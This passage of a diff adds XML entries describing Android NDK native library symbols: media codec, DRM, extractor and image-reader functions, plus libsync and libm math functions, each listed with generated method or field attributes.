+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getPlaneRowStride" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setInt64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_dequeueInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_setBufferRemovedListener" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_LANGUAGE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_requiresSecureDecoderComponent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getKeyRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getClearBytes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_setOnEventListener" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createPersistentInputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleCryptoInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_encrypt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleTrackIndex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_isCryptoSchemeSupported" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getTrackCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_I_FRAME_INTERVAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_WIDTH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getCropRect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_setInputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_SAMPLE_RATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getPsshInfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getInt32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_AAC_PROFILE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_setParameters" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_setLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_closeSession" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getPlanePixelStride" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireNextImageAsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setInt32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_flush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireLatestImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_advance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_DURATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_start" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_provideProvisionResponse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_selectTrack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getProvisionRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_queueSecureInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_stop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_start" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_toString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_provideKeyResponse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_seekTo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_removeKeys" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getPlaneData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_DEFAULT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_setPattern" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getNumSubSamples" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createInputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createEncoderByType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getEncryptedBytes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_setPropertyByteArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getPropertyString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_setOrientationHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libsync.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="sync_merge" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBSYNC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sync_file_info_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sync_file_info" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libm.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="lrintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log10l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="floorl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log1pf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gamma_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cexp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lrintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="logb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log1pl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="logf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ilogbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="remainder" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="csqrtf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmodf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBC_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nexttowardf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="logl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nexttoward" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cexpf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fegetround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ilogbl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="j0f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="csqrtl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmodl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fesetround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nexttowardl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sincosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="catan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log1p" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scalbnf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cexpl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="drem" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fegetexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="csin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sincosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scalbnl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ccoshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ceil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nextafterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="finite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="remquo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ccoshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="catanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="llrint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nextafterl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="catanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="conj" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="llrintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="catanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="feholdexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="remainderf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clogf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="llrintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cproj" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="y0f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="remainderl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clogl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log2l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="logbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="j1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fedisableexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cimag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="logbl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ctanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ctanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="llround" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="trunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ctan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ctanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sqrt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__signbitf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__signbitl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="asinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="asinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="feenableexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="asinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="modf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nextafter" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="y1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="asinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="asinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scalb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="casinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="acos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="conjf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tgammaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="casinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="signgam" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="LIBC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="conjl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tgammal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fetestexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gamma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="csqrt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="y0" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ilogb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="y1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="catanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fabsf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="feupdateenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cprojf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cimagf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="frexp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="catanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fabsl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cprojl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cimagl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fegetenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="copysignf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="exp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ceilf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ldexpf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="copysignl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cpow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fminf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cacos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ceill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ldexpl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="modff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="acosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fminl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="acosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fesetexceptflag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="j0" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="modfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="acosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="j1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="remquof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cargf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="__signbit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="remquol" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cargl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fdimf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lgamma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="acoshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nearbyintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="dremf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fdiml" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atan2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="acoshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nearbyintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmaxf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atan2l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cacoshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
